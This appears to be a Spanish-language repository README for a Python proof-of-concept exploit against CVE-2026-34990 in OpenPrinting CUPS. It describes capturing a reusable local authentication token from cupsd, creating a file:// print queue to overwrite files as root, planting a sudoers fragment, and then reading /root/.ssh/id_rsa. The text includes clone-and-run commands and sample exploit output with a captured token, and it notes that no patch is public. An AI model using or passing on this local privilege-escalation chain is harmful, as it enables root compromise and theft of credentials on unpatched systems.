
Prueba de concepto en Python para CVE-2026-34990 en OpenPrinting CUPS, que fuerza a cupsd a filtrar un token de autenticación Local y sobrescribir archivos root mediante una cola de impresión file://.
CVE-2026-34990 - OpenPrinting CUPS versiones 2.4.16 y anteriores, un usuario local sin privilegios puede forzar a cupsd a autenticarse contra un servicio IPP de localhost controlado por el atacante con un token reutilizable Authorization: Local ... Ese token es suficiente para dirigir solicitudes /admin/ en localhost, y el atacante puede combinar CUPS-Create-Local-Printer con printer-is-shared=true para persistir una cola file:///... aunque la política normal de FileDevice rechaza dichas URI. Imprimir en esa cola permite una sobrescritura arbitraria de archivos como root; el PoC a continuación utiliza esa primitiva para colocar un fragmento de sudoers y demostrar la ejecución de comandos como root. En el momento de la publicación, no hay parches disponibles públicamente.
git clone https://github.com/ungabunga-ctf/CVE-2026-34990
cd CVE-2026-34990
python3 CVE-2026-34990.py
python3 CVE-2026-34990.py
CVE-2026-34990 CUPS PoC
[*] Target file: /etc/sudoers.d/aporter
[*] Starting token capture server...
[+] Captured Local token: 7BD0ECC9D367025E50774E0BB08F7B5E
[*] Creating file:// printer...
[+] Vulnerable!
...
...
luego:
sudo -n cat /root/.ssh/id_rsa